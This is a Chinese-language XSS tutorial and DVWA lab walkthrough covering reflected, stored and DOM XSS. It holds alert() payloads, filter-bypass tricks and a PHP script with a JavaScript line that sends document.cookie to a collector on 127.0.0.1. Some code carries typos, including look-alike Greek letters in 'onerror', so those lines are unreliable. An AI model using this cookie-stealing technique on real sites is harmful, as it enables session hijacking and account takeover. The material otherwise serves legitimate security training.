赞
踩
概念:
通常指通过HTML注入篡改了网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
当入侵网站后,通过自己编定的脚本或者木马嵌入到网站页面,利用网站的流量将自己的网页木马传播出去从而达到自己的目的,当用户浏览网站的时候点击了编订的恶意程序脚本,从而达到获取用户信息,进行一系列未授权的操作。
通俗理解:
此漏洞主要以盗取用户信息, 获取用户的权限做一些越权操作,还可以结合其它漏洞进行一系列的攻击行为。
目录
一、反射型xss(一次性链接):把用户输入的数据从服务器反射给用户浏览器,设计恶意的链接发送给用户,当用户点击的时候,用户会从恶意的链接访问了正常服务器,正常服务器将xss脚本和正常页面返回到用户浏览器,但浏览器会解析返回网页中的xss恶意代码,向恶意的服务器发起请求,从而达到获取用户的信息。
二、存储型xss(持久型):发现网站有存储型xss,将恶意的脚本构建后注入到目标服务器中,用户在网站登录状态访问了正常的目标服务器,网站就会将xss和正常的页面返回到用户浏览器,用户的浏览器解析了网页中的xss恶意代码,向恶意服务器发起请求,从而获取用户信息。 差别(是否和服务器有交互)
三、dom型xss 通过修改前端代码的节点形成xss。
- onclick 点击事件
- ondblclick 双击事件
- onmouseover 鼠标移入事件
- onmouseout 鼠标移出事件
- onmouseenter 鼠标移入某个元素触发
- onmouseleave 鼠标离开某个元素触发
- onmousdown 鼠标按下时触发
- onmouseup 鼠标抬起时触发
- onmousemove 鼠标被移动时触发
- onwheel 鼠标滚轮滚动时触发
- oncontextmenu 点击鼠标右键时触发
-
- alert提示框、confirm确认取消框、prompt输入框
- <script>alert(‘11’)</script>
- <svg onload=”alert(11)”>
- <img src=# onerror=alert(“11”)>
- <body onload=alert(11)>
- <video onloadstart=alert(11) src=#>
- <style onload=alert(11)></style>
反射型xss,数据流向:前端 --> 后端--> 前端
第一关没有任何过滤,直接在input框里面输入java script的脚本即可<script>alert(document.cookie)</script>弹出cookie
试例:
编写一个接收cookie的脚本,将脚本放在自己服务器的web目录下,如 http://127.0.0.1/xss/cookie.php
- <?php
- $cookie=$_GET[‘cookie’];
- file_put_contets(‘cookie.txt’,$cookie);
- ?>
编写js代码,将cookie发送到cookie.php中解析生成本地文件 <script>document.location='http://127.0.0.1/xss/cookie.php?cookie='+document.cookie</script>,跳转页面了证明已经执行了cookie.php,并生成了cookie.txt
修改cookie值登录,需要更换浏览器,或者对浏览器的历史记录做清除,cookie值只能使用一次。
浏览器cookie修改说明,火狐在储存里面,edge在应用程序里面,谷歌是Application。
插件cookie Editor
有一些浏览器还需要token验证,需要获取cookie也要获取token。frames[0].document.getElementsByName('user_token')[0].value【csrf中有提到】
这里是对输入的字符做了限制,可以利用大小写或者双写绕过。 大小写绕过 <Script>alert(11)</Script> 双写绕过 <scr<script>ipt>alert(11)</script>script>
对script标签字符有过滤,但是没有对javascript事件进行过滤,任然会执行javascript,构造payload <img src=# οnerrοr=alert(“111”)>
dom型数据流向:前端-->浏览器,low级别没有任何防护,参数可以直接构造xss代码。 <script>alert(“11”)</script> 它会直接插入value值中。
这里和反射型一样,将script标签过滤掉了,我们通过闭合</select><img src=# οnerrοr=alert(“11”)>加载img标签,触发xss。
这里插入任何标签都会自动过滤掉,利用#注释符号注入,然后重新注入一段<script>标签,内容不会提交到服务器,而是会在浏览器执行。
注:写入pload后刷新浏览器。
储存型xss,数据流向:前端-->后端-->数据库-->后端-->前端,low级别没有任何防护,对指定的参数进行payload构造即可。massage=<script>alert(‘022’)</script> 因为储存型会将数据储存在数据库中,所以访问一次页面会触发一次payload,因此需要重置dvwa的数据库 setup.php。
第二个输入框的内容被实体转义了,从第一个输入框下手,第一个输入框有限制字符长度,两种方案,一是改变前端的输入框大小,第二个是通过Burpsuite抓包。通过测试,script标签被过滤掉了,利用大小写、双写、或img标签绕过即可。 <img src=# οnerrοr=alert(“11”)>
name字段直接把<srcipt>全部过滤掉了,那可以通过抓包,修改name字段为<img src# οnerrοr=alert(‘8867’)>(火狐会出现没有反应的现象,浏览器安全策略问题,换一个浏览器即可)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。